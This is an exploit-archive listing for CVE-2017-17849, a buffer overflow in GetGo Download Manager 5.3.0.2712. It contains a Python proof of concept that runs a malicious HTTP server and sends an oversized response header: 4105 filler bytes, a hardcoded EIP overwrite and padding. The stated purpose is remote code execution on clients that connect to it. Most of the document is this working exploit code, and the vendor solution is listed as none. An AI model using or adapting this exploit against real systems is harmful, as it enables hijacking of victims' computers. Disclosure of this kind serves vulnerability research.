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GetGo Download Manager 5.3.0.2712 Buffer Overflow

GetGo Download Manager 5.3.0.2712 Buffer Overflow
Posted Dec 23, 2017
Authored by Aloyce J. Makalanga

GetGo Download Manager version 5.3.0.2712 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2017-17849
MD5 | f7ccc852513bb0a9f11ee82f7f107cd1

GetGo Download Manager 5.3.0.2712 Buffer Overflow

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# Exploit Title: Buffer overflow vulnerability in GetGo Download Manager 5.3.0.2712
# CVE: CVE-2017-17849
# Date: 22-12-2017
# Tested on Windows 10 32 bits
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr <https://twitter.com/aloycemjr>
# Software Link: http://www.getgosoft.com/getgodm/ <http://www.getgosoft.com/getgodm/>
# Category: webapps
# Attack Type: Remote
# Impact: Code Execution



1. Description

A buffer overflow vulnerability in GetGo Download Manager 5.3.0.2712 and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution on the victim computer.


2. Proof of Concept


def main():
host = "192.168.205.128"
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]

evilbuffer = "A" * 4105
hardCodedEIP= "\x69\x9E\x45\x76" #This is a hardcoded EIP just for demo :). As you can see on the screenshot, we hit a breakpoint, right here on this EIP. Do you see our stack!!! You need to change this.
pads = "C"*(6000 - len(evilbuffer + hardCodedEIP))
payload = evilbuffer + hardCodedEIP + pads

buffer = "HTTP/1.1 200 " + payload + "\r\n"

print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"

sleep(3)
cl.close()
s.close()

if __name__ == '__main__':
import socket
from time import sleep
main()



3. Solution:
No solution as of yet.


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